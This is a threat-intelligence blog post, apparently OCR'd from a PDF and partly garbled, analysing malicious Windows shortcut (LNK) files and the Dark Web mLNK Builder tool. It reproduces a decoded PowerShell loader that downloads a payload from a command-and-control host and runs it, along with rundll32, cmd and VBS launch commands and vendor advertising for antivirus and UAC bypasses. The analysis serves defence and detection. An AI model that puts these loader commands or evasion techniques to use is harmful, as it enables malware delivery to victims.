Shortcut-based (LNK) attacks delivering malicious code
on the rise

resecurity.com/blog/article/shortcut-based-Ink-attacks-delivering-malicious-code-on-the-rise

Back
Cybercrime Intelligence

17 Jul 2022
Malware, Cybercrime, Powershell

1/27


https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise
https://resecurity.com/blog

Cybercriminals are always looking for innovative techniques to evade security solutions.
Based on the Resecurity® HUNTER assessment, attackers are actively leveraging tools
allowing them to generate malicious shortcut files (.LNK files) for payload delivery.

Resecurity, Inc. (USA), a Los Angeles-based cybersecurity company protecting Fortune
500's worldwide, has detected an update to one of them most popular tools used by
cybercriminals. The tool in question generates malicious LNK files, and is so frequently
used for malicious payload deliveries these days.

MLNK Builder has emerged in Dark Web with their new version (4.2), and the updated
feature-set focuses on AV evasion and masquerading with icons from legitimately popular
applications and file formats.

GIEL} e MINK V4.2

Bypass Windows Defender

I mLMNEK v4.2 is now available for ALL users!

Simply CLOSE mLMNK and reopen and the new
mLMNK v4.2 is available!

Private stub now has PDF and DOCX lcons!!t
Better Encryption
More Files in One output!

The noteable spike of campaigns involving malicious shortcuts (LNK files) conducted by
both APT groups and advanced cybercriminals was detected in April-May this year —
Bumblebee Loader and UAC-0010 (Armageddon) targeting EU Countries described by
CERT UA.
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Malicious shortcuts continue to give hard times to network defenders, especially
when combating global botnet and ransomware activity, using them as a channel for multi-
staged payload deliveries.

According to experts from Resecurity, the existing MLNK Builder customers will receive an
update for free, but the authors have also released a “Private Edition” which is only
available to a tight circle of vetted customers, it requires an additional license costing $125
per build.

mLNK v4.2 - Private Stub - WinDefender Bypass,
SmartScreen Bypass, UAC Bypass.

Product sold 17 times ¢

How does this work?

PRIVATE STUB DOES NOT COME WITH MLNK BUILDER. YOU STILL MUST PURCHASE 1 OR 3 MONTH
BUILDER.
Stub for mLNK v4.2 Builder!

his?
THE BUILDER

The updated tool provides a rich arsenal of options and settings to generate malicious files
to appear as legitimate Microsoft Word, Adobe PDF, ZIP Archives, images .JPG/.PNG,
audio MP3 and even video .AVI files. as well as more advanced features to obfuscate
malicious payload.
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Bad actors continue to develop creative ways to trick detection mechanisms enabeling
them the successful delivery of their malicious payloads — by leveraging combinations of
extensions and different file formats, as well as Living Off the Land Binaries (LOLDbins).

The most actively used malware families leveraging LNK-based distribution are TA570
Oakboat (aka Qbot), IcedID, AsyncRAT and the new strain of Emotet. The most recent
Qakbot distribution campaign also included malicious Word documents using the CVE-
2022-30190 (Follina) zero-day vulnerability in the Microsoft Support Diagnostic Tool
(MSDT).

Some notable campaigns have been detected in April-May 2022. The cybercriminal
activity utilized related APT attacks targeting private and public sectors:

- UAC-0010 (Armageddon) Activity targeting EU Countries
https://cert.gov.ua/article/39086

The bad actors are using malicious LNK files in a combination with ISO (via extension
spoofing) to confuse the antivirus logic and endpoint protection solutions. It’s interesting to
note how well-known products in the industry are not able to properly detect and analyze
them.

What is the LNK file?
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Shell Link Binary File Format, which contains information that can be used to access
another data object. The Shell Link Binary File Format is the format of Windows files with
the extension ".LNK".

LNK is a filename extension for shortcuts to local files in Windows. LNK file shortcuts
provide quick access to executable files (.exe) without the users navigating the program's
full path.

Files with the Shell Link Binary File Format (.LNK) contain metadata about the executable
file, including the original path to the target application.

Windows uses this data to support the launching of applications, linking of scenarios, and
storing application references to a target file.

We all use .LNK files as shortcuts in our Desktop, Control Panel, Task Menu, and Windows
Explorer

Why attackers use LNK file

Such files typically look legitimate, and may have an icon the same as an existing
application or document. The bad actors incorporate malicious code into LNK files (e.g.
Powershell scenario) allowing the execution of the payload on the target machine.

The process of a malicious .LNK

Let’s review a sample of a malicious LNK file in more detail:
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The malicious .LNK file

In this example, PowerShell code was embedded inside the file which will be executed
after the victim clicks on the LNK file. We have examined the structure of the file using
Malcat:

D3 fles 0+0)
Name

4 4 Virtual File System
4+ £2 Carved Files

PowerShell code embedded inside the file

You can see the PowerShell scenario embedded in the file:

(a1 32Febef64s1006FcH0] ¢ | 32Aebef64410a61cFi0726195151 25506291 efl 3bdaal937e2... [meim]

Compatibilty | _Secunty | Details Previous Versions
General | Shotcut | Options | Font ‘ Layout W Colors

I I 32ebef64410a6icf07a619551c25506c 29 1ef 1 3bdaal

Target type Application

Target location: v1.0

Tasiit N Widows Sy 2 WerkowsPowershatorT PowerShell scenario embedded

Start in:

Shorteut key None

Run Nunn;l ;dnw =,
Comment Type: Text Document
I Open File Location ‘ ‘ Change Icon... | Advanced... |

The logic of the scenario allows to bypass the execution policy and download the file from
external resource and execute it:
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Bypassing the execution policy

We observed a campaign that delivered Bumblebee through contact forms on a target’s
website. The messages claimed that the website used stolen images and included a link
that ultimately delivered an ISO file containing the malware.

Resecurity attributed this campaign to another threat actor the company tracks as TA578
and has done since May 2020. TA578 uses email campaigns to deliver malware like

Ursnif, IcedID, KPOT Stealer, Buer Loader, and Bazaloader, as well as Cobalt Strike.

Our researchers detected another campaign in April that hijacked email threads to deliver
the Bumblebee malware loader in replies to the target with an archived ISO attachment.

ISO protected with
protected pass

Pl\?es Ink file and dll DLL matware

@ _ii_ LNK file executes DLL malware file
1SO

.....

Ink file executes dil

So, we can extract the hidden file with pass, we can see that in the next figure.

o | (2 (&
¢ - ‘M@
(@]

BC_invoice_Repo document narmr.dll
rt_CORP_46

Extracting the hidden file with pass

After that we can examine the .ISO contents which includes a document file (.LNK file) and
namr.dll file, we can then further analyze the .LNK file, shown in the next figure.
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Name Ris|
¢ documentlink 0%

StringData
{

\imageres.dil

) v

Cr— g pkan Analyzing the malicious .LNK file

Target location: System32

4 i Warnings
. Symbolic fink

{2 Format & x
H Linkinfo - Shortcut key:  None

[ StringData 3

H ExraData — Run: Nomal window ~|

From the previous figure, we identify how the .LNK file contains a command to execute the
.DLL file.

How Attackers Generate Malicious LNK Files?

Attackers can generate malicious shortcuts via tools available for sale in the Dark Web.
One such tool is advertised in a Telegram channel “Native-One.xyz | Products & Software |
Exploit " called mLNK builder — it grants the ability to convert any payload into a .LNK file
format.

v
I!tll

Native-One

Seftware & Toels

Native-One.xyz | Products
& Software | EXPLOITS

84/ membe

Generation of malicious shortcut files

112 C

www.Native-One.xyz

Cybercriminals can purchase mLNK builder by using one of the three available plans,
starting from a one month to 3 month plan and then a private option (providing unique
stub).
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MLNK BUILDER MLNK BUILDER LNK PRIVATE STU

Purchasing the mLNK builder

mLNK v 4.1 Builder - 1month - mLNK v4.1 Builder - 3 month - mMLNK v4.1 - Private Stub -
Public Stub. - WinDefender Public Stub. - WinDefender WinDefender Bypass,
Bypass, SmartScreen Bypass, Bypass, SmartScreen Bypass, SmartScreen Bypass, UAC
UAC Bypass. UAC Bypass. Bypass.

The price of the tool starts from $100 (per month) with the option to evade Windows
Defender, Smart Screen and UAC:

mLNK v 4:1 Builder - 1 month - Public Stub. - WinDefender Bypass,
SmartScreen Bypass, UAC Bypass.

mMLNK tool evades Windows Defender, Smart

r website then logi
bt to download. Downioad and then login on the buil

A Contactus
Live Chat Support @
or

‘Telegram Live Support Chat and Group Chat @

Screen & UAC

The features of the mLNK builder include bypassing the following solutions:

1. Windows Defender

2. Windows Defender Memory

3. Windows Defender Cloud Scanner
4. Smart Screen Alert

5. AMSI and MUCH MORE!

o
WINDOWS 10 SMART SCREEN BY PASS

WINDOWS DEFENDER BYPASS

%

a
DECOY (BINDER)

UAC BYPASS The features of mLNK

X n

START UP

PRIVATE STUB (POWERSHELL/VBS
OBFUSCATOR)
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After buying the tool, the author of the tool will send you text file containing the credential
to login.

el | he text file containing credentials to login

After we opened the link we found this page, we must enter the credentials which were
sent by the author, after registering the tool will downloaded.

Register Token

Token registration

Recently they published a new version of the tool, it will be free to all the old users, it now
also contains new ICONs like Documents and PDF as we will see in this report.

- https://t.me/NativeOne Products/24224
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DIssr MINK V4.2
Bypass AMSI

A\ mLNK v4.2 is now available for ALL private stub users!
Simply CLOSE mLNK and reopen and the new mLNK v4.2
R VETET

mLNK v4.2 will be available for public stub users NEXT
week.

You can purchase private stub to update as well!

¥ Private stub now has PDF and DOCX Icons!l!

Better Encryption
More Files in One output! &
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- mMLNK v4.2 is released! New Encrpytion, PDF and DOCX
icons! PRIVATE STUB!

MNative-one.xyz is Here!
Top Level Exploits since 2016
Professional Marketing Tools (SMTP)

#1 Exploit - ffhttps://favcheck.net/id/|IGQLAFt4u9R
#1 SMTP - https://fi.imgur.com/|9heKSA.png -
https:/fi.imgur.com/hrvsffu.png

MANY MARKETING (SPAMMING) TOOLS AND EXPLOITS
also
WE HAVE A GREAT COMMUNITY TO COME JOIN!

EEEE
I 1 I NEWPRODUCT ! I 1

1D0% FUD Encrypted PDF/HTML Builds (Builder will be
released to the public for rent in the future)

PDF/HTML Builds

(3} PDF/HTML once clicked will download any file from the URL
you have injected.

Comes with Encrypted PDF and HTML File.

A Also 1 on 1 support to show you how to embed the HTML file
into the e-mail and attach the PDF.

? BYPASSES:

% Windows Defender

% windows Defender Memory

? Windows Defender Cloud Scanner

% Smart Screen Alert

? GMail, outlook, Yahoo, Office365, ect ect ect.

The analysis of the tool

Here we can see the analysis of the tool, we can see there are two functions.
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Analyzing the malicious tool

When examining the sub_401350, we can see how the tool use ShellExcuteA to execute

the PowerShell code. This PowerShell communicates with C&C, we can see that in the
next figure.

After downloading the binary from C&C, we can decode the payload by using the base64
decoder, then use ASE decryption to decrypt the payload, we can then see the process
the tool follows to decrypt the payload,

1. Downloading the payload from “https.//native-one[.Jcom:4200/client_auth”

2. Gets 'BHDAUS532BKPXTGB89G3JK6KKDSZDY8SM' converts to bytes and
computes sha1 and convert to hex string returns first 32chars of hexstring(aeskey)
== fc002b88fabccd51bfabd8c753e8aa3d

3. coverts downloaded payload each hex XX to an array of decimal values and get the
first 16 and uses it as IV for AES

4. Decryption AES CBC 256 key == fc002b88fab5ccd51bfabd8c753e8aa3d (32bytes
each char 1 byte) IV == 9042766da089753480c479e2b342862f -fromhex(16bytes).

function ptcl(){

Scrypto key = "BHDAUS32BRPXTGB89G3JRK6RRDSZDY8SM' ;
Szfv = T,‘iff D : native-one.com:4200/client auth';
Swhgx = New-Object System.Net.WebClient;
Sdownloaded_data = S$whgx.DownloadString ($zfv) ;

$gle = tnw $crypto key $downloaded data; USIng ASE decryptlon on the payload

Invoke-Expression(prepend Ox_to_strings $glc)

bi
ptcl;
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After decrypting the payload, we got a second PowerShell code that’s used to validate the

credentials, we can see that in the next figure.

if ($BO -eq 'ERR0O00") {
$aF = "License not found."
zM $aF
exit
}
elseif (§BO -eq 'ERR001') {
$aF = "HWID does not
zM $aF
exit
}
elseif (§BO -eq 'ERR002') { .
- Minameme we gresenntinses Snssueckc Decryptmg the pay|oad reveals second
2M $a
esS $EG
}
elseif (§BO -eq 'ERR003') {
$aF = "License key as expired."
zM $aF
exit
}
elseif ($BO -eq 'BANNED') {
$aF = "HWID has been banned."
zM $aF

PowerShell code

After executing the tool, the email and password used to register is required once again,
we can see this in the next figure.

o=l Account Login E'E'@

B Remember me i
emember me After executing the tool

LOGIN

We register with the email and password, then we get the GUI for the tool enabling us to
start converting payloads into .LNK files, we can see that in the next figure.
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@ mLNK Builder v4.2 [Private Edition] = X

Shortcut lcon Shertcut Encryption
lcon Py w

=3
PDF
_

© PDF ® JFG © Encryption (AES-256)

@ DOCX & PNG @ Encryption (Rijndael)

®zZP ® MP3 @ Encryption (3-DES)
Payloads and Decoy Files
File One Config

File One Imported:
Import File

M Decoy M Startup W UAC Bypass

File Two Config
File Two Imported
Import File
Wl Delay M Startup Il UAC Bypass
File Three Config

File Three Imported:
Import File

Ml Delay M Startup I UAC Bypass

Build Decoder Build Shortcut Reset All

Powershell Obfuscator VBS Obfuscator

PS1 Imported: VBS Imported.

Import (PS1) Encode (.PS1) Import (. VBS)

We can see the folder setup the tool uses which has a Decoders payloads, also we can
see the shortcuts for the converted payloads, we can see that in the next figure.

Name - Date medified Type Size
. Decoders 4/20/2022 359 PM  File folder
. Shortcuts 4/20/2022 4:08 PM File folder
B mLNK_Builder.exe 4/19/2022 313 PM  Application 10 KB

We can now see the folder tree

We create four payloads to test detection, after creating the payloads, we start importing
them one by one to create shortcuts for them. We test detection by using windows
defender and others, we can see importing file into the next figure.
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3 mLNK Builder v4.1 [Public Edition] = =2 =]

® JFG

@ Folder @ PNG

@® 2P @ MP3 - @ Encryption (3-DES)

Creating four payloads to test detection

After that we can build the decoder and we can see that in the next figure.

=5 mLNK Builder v4.1 [Public Edition] el = ==

@ Folder @ PNG

@® ZP @® MF3 - @ Encryption (3-DES)

I Mekt I UAC Bypass

Building the decoder

File Two Imported:

W Delay N Startup B Melt

After decoding the payload, it will save in the Decoders folders, we can see that in the next
figure.
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[ examplejpg.hta 4/21/2022 715PM  HTML Application 15KB

Saved in decoders folder

And after that we can import the URL of decoded payload and create the .LNK, we can
see that in the next figure.

3 mLNK Builder v4.1 [Public Edition] ==

@ Folder @ FNG

®F @ VP2 ¥ @ Encryption (3-DES)

W Startup H Melt

Creating four payloads to test detection

Remote URL

7a-2001-8{8-1330-642b-00-1019 ngrok io /example jpg hta

Now, we can build the .LNK file, we can see that in the next figure
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5 mLNK Builder 4.1 [Public Edition]

@ JPG
@ Folder @ PNG

@ ZIP @ VP2 @ Encryption (3-DES)

e e _ Building the malicious .LNK (shortcut) file

73-2001-88-1330-6420-00-1019.ngrok o /example jpg htal

Shortcut Name:

example.png Ink

Finally, we can see the .LNK file in the shortcut folder, we can see that in the next figure.

Name Date modified Type Size

(7| example.png 4/21/2022 7:20 PM Shortcut 3KB

After the creation of the file, we can see the

location

So, now we can examine the target file and see how the .LNK file was created, we can see

that in the next figure.
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7| example.png Properties
Compatibility I Security | Details | Previous Versions
General | Shortcut | Options | Fonit | Layaut | Colors
EE example png
Target type: Application
Taraget location: v1.0
Target: PowerShelfw1.0'powershell exe Syq=@(18504,1!
Start in:
Shortcut key:  None
Run: [ Minimized i l
Comment:
Open File Location ] [ Change lcon... ][ Advanced... ]
[ ok || Cancel Apply
created

From the previous figure, we can see how the target contains PowerShell code. Now, we

want to test the detection of the payload.

Examining the target file to see how it was

The attackers recently generated a new .LNK file with the PowerShell ICON, this is not
common, the .LNK technique nowadays is widely used as we can see in the below
screenshot, this is a PowerShell .LNK containing a new stage of the malware.

(AN 21286ed0b3eS6f49c 287617 eeSbf4ef687¢6...

1/1/20229:57 PM

Shortcut 2KB

7 21286ed0b3e56140 287617 eeSbid ef687c627342d7229700...

¥ I IDMIPWVM‘

Genersl | Shotct | Options | Font | Layout [ Colors |

f49¢287617ee5bfdef687¢... Date modified: 7
Cimar 1

21286ed0b3e56/49c28761 TeaSbf 4ef687c6272 34247,

D

Target type: Application
Target location: v1.0

Terget rioadstrng{Fitp//120 48,85 228 80 favicon )"
Satin € \dowrloads

Shortcutkey:  None

Run: [Nomal window -
Comment:
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example1 pg Ink 3 ko) task id: ZZZcES3bWin2 started: 2022-04-22 033301 duration: 4 sec

detected: 1/26

Select fie 015 /fle | Browse | Scan
( [ossree | J

example png Ik 3 45) task id: QTVRTXWnGbTY started: 2022-04-22 03:28:31 duration: 30 sec:

detected: 226
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example3 png.nk (3 k5) task id: mOOJOF5WSd5w started: 2022-04-22 03:44.01 duration: 18 sec

@ Ziyalntemet Securty

As observed, the newest version of mLNK Builder demonstrated very low detection rates
by popular antivirus products which increases the effectiveness of the malicious .LNK files

in cyber-attacks.

Recently we found gabot was using the LNK technique.

obama187 - .html > .zip > .img > .Ink > .dll

as we can see there are two files the LNK file will run the dll file

b o= v o o= X

Add Extract Test Copy Move Delete Info

¥ [[5] cAserUseADestaop\SesnnedDocuments_ 700302 img)

Name Size Packed Size  Meodified Accessed Foldess File
local.dil 863232 864256  2022-06-08 14:d1 2022-06-08 14:51
SeannedDocurments_TO0402 Ink 1393 2048 2022-06-0812:36 2002-06-08 1451

0/ 2 object(s) selected

Here we can see the LNK command
“rundll32.exe scanned.dll,DllUnregisterServer”
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General Shotcut  Securty Details  Previous Versions

F ScannedDocuments_ 7003402

Target type: Application

Target location: System3Z

Target: | m3Zvundll3Z exe scanned.u:III.DIILInregisterServer|

Start in: | |

Shortout key: | Mone |

Run: Momal window w
Comment: | |
Open File Location Change lcon.. Advanced. .

QK Cancel Apph

Also, we observed how Bumblebee used the LNK technique
via OneDrive URLs -> IMG -> LNK -> BAT -> DLL recently

57 cdbdflab...

After we extracted the ISO we found these files, the shortcut was conations, code to run
the batch file.

&l inf.bat 6/14/2022 10:27

Windows Batch File 1KB
1 Application extens... 2010 KB
AM  Shortcut 2KB

%] information.dil 6/1¢
@) ScannedDocuments-0622 6/14/20

As we can see the shortcut contains the code to run the batch file in the screenshot below.
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#l ScannedDocuments-0622 Properties @

Compatibility I Security | Details I Previous Versions
General | Shotcut | Options | Fomt | Layout | Colors

I—!L|I ScannedDocuments-0622

Target type: Application

Target location: System32

Target: CA\Windows'System32'cmd exe /c inf bat5

Start in:

Shortcut key:  Mone

Run: [ MNormal window n ]
Comment:
Open File Location ] [ Change lcon... ] [ Advanced... ]
[ ok || Canced || sppy |

The batch conations this code to run the DLL library.

jstart rundl132 information.dll,hKOgtlkmCis

Also, recently we caught emotet using the technique to run VBS code via the LNK file, as
we can see in the below screenshot the LNK file contains the malicious code:

“C:\Windows\system32\cmd.exe /v:on /c findstr "gIKmfOKnQLYKnNs.*" "Datos-2504.Ink" >
"%tmp%\YIScZcZKeP.vbs" & "%tmp%\YIScZcZKSSeP.vbs"”
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Targettype:  Application
Target location: system32

Target: ( \V1ScZcZKeP vbs” & “%mp%\YIScZeZKSSeP vt

Start in:

Shortcut key:  Mone

Run: | Minimized M
Comment:
[ Open File Location | | Change Icon... | | Advanced.. |

ok J[ Cancel |[ ooy |

Another SideWinder malware was using LNK

4, BOZbTeS3dH05T 051 ebOIBESa083a6260...  6/16/2022 1151 PM  Shortcut 3KB

Secumy Detais Previous Versicns

@‘ Be02TeS3d40507 39516l 385090 2062695955370

Togethpe:  Acpicaton
Target location Systen2

Terget: Tortlo AXLWZEsu WHAMima Y fles 835 14538
St in Thwinde '\ System 2

Shodcutkey:  None

O —

Commert

[ Cpen Fis Locaton | | Crangecon... | [ Advanced... |

(o) Ceme ][ esn

It will download a new stage by using this command.
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Another sample was related to ICDL malware, it was also using LNK
ISO -> LNK -> DLL

It contained these files, the document file contains the command to run the DLL library.

[#F document 4/14/2 9 AM Shortcut 1KB

| namr.dll 471472 1AM Application extens... 278 KB
As we can see here, the command.

32fbf1fead6T06bIcI4d5 100 263758 2021619908 d £ document Properties ()

Share with v New folder
Name ’ Date mef
[#5 document
%| namr.dil
nodified: 4/14/2022 5:19 AM Date created: 6/16/202
Size: 825 bytes

Compatiodky | Securtty | Detais | _Previous Vensons

General | Shotcut | Options |

F‘—F document

Targettype:  Apphcation

Target kocation: Systemd2

Fot | layout | Colors |

Target:

Stat in

Shortcut key:  None

Run: [ Nomal window

Comment:

Open Fie Location | | Change loon... | | Advanced.. |

52\cmd.exe /c start rundll32 namr.dll,PluginTnic$

Also, we have found a new one related to Matanbuchus. Matanbuchus Loader is a new
malware-as-a-service created by a threat actor who references demonic themes in

software and usernames.

Cancel

25/27


https://resecurity.com/uploads/post/115/c554bd4295f63f8d2847e1c1135cf290.png
https://resecurity.com/uploads/post/115/219904f741cd12321d801f17c7c138a9.png
https://resecurity.com/uploads/post/115/dcd731761dbd0f6754f99bb938ac974d.png
https://resecurity.com/uploads/post/115/6b91414a9bc393025d61dfbf29eb9590.png

It appears as a normal file but contains malicious code within it, as we can see in the
below screenshot

i Ocliafd3536077280b4bFdal 60Mbd113aT]...  6/22/20228:26 PM__ Shorteu 3 KB
ol 132778 de.

Compatbity | Secuty [ Detals | Previous Versions
| Generl | Shotat | Options | Font | Lavost | Colors

\'F] 2 cSdfafd 353657728% 4bfda 1365bd 1 132 T78ci08ac0cl
m

Targettywe:  Apphcation

Target location: System32

Target: THILWe\RFBWLIC 7L YXSA™ 84 ping OEw com

Start in

Shorteutkey:  Mone

Fun [re— B

Comment:

[ Open Fie Locaton | [ Cnange kcon... | [ Advanced... |

I

The malicious code will ping a malicious domain to create a new directory “ItF5”, and it will
download new file as an image then change it to a new file, and run it.

IOCs:

fa15b97a6bb4d34e84dfb060b7114a5d
a4e45d28631ea2dd178f314f1362f213
e82abc3b442ca4828d84ebaa3f070246
d1f00a08ecedd4aed664f5a0fb74f387
567dde18d84ceb426dfd181492cee959
ff942b936242769123c61b5b76a4c7ad
bfc3995ae78a66b857863ad032a311ae
3952¢af999263773be599357388159e0
3053114b52f1f4b51d1639f8a93a8d4a
ac664772dc648e84aa3bec4de0c50c6e
59923950923f8d1b5¢c7c9241335dff8¢c
673ecadfd3f6f348c9d676fd1ed4389a
27c86be535bedfb6891068f9381660ac
75d993bbd6f20b5294c89ae5125¢3451
d2b90fa83209f7ca05d743c037f1f78c
7d8d6338cf47b62524b746ef9530b07f
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3ac4a01e62766d2a447a515d9b346dbb
2b41¢35010693c4adffb43bfcab5¢c122
7b67f5c27df1ba2fb4a2843a9a24268b
6a00d0a9e6c4ec79408393984172a635
51c2e7a75¢14303e09b76c9812641671
d1a288f0ec71789621d1f6cce42973¢c8
4abfe9a42ef90201a6fa6945deacfc86
b58e53c6120c2f33749c4f3f31d2713d
86dbd6d9376cec15f624685e1349dd86
625ea570a70a4640c46¢c8eddc2f8c562

59ddeeed7cb3198f3d961df323¢c314517a6c0ee096b894330b9e43e4d1dc9c5b
5b99c3a4c9fd79a90fd7f2d0c743de73c4a4c053fb326752c061ceS5ab6alc16f
c7d4272fd706f4a07973bc644501afc0d423a9cc47c21fd4cad45686¢4a7cd80
D9927533C620C8A499B386A375CB93C17634801F8E216550BD840D4DBDD4C5C6
e722083fbfacdea81b4e86251c004a1b90f864928af1369aa021559cb55aba75
115D7891A2ABBE038C12CCCOED3CFEEDFDD1242E51BCC67BFA22C7CC2567FB10

References:

- UAC-0010 (Armageddon) Activity targeting EU Countries
https://cert.gov.ua/article/39086
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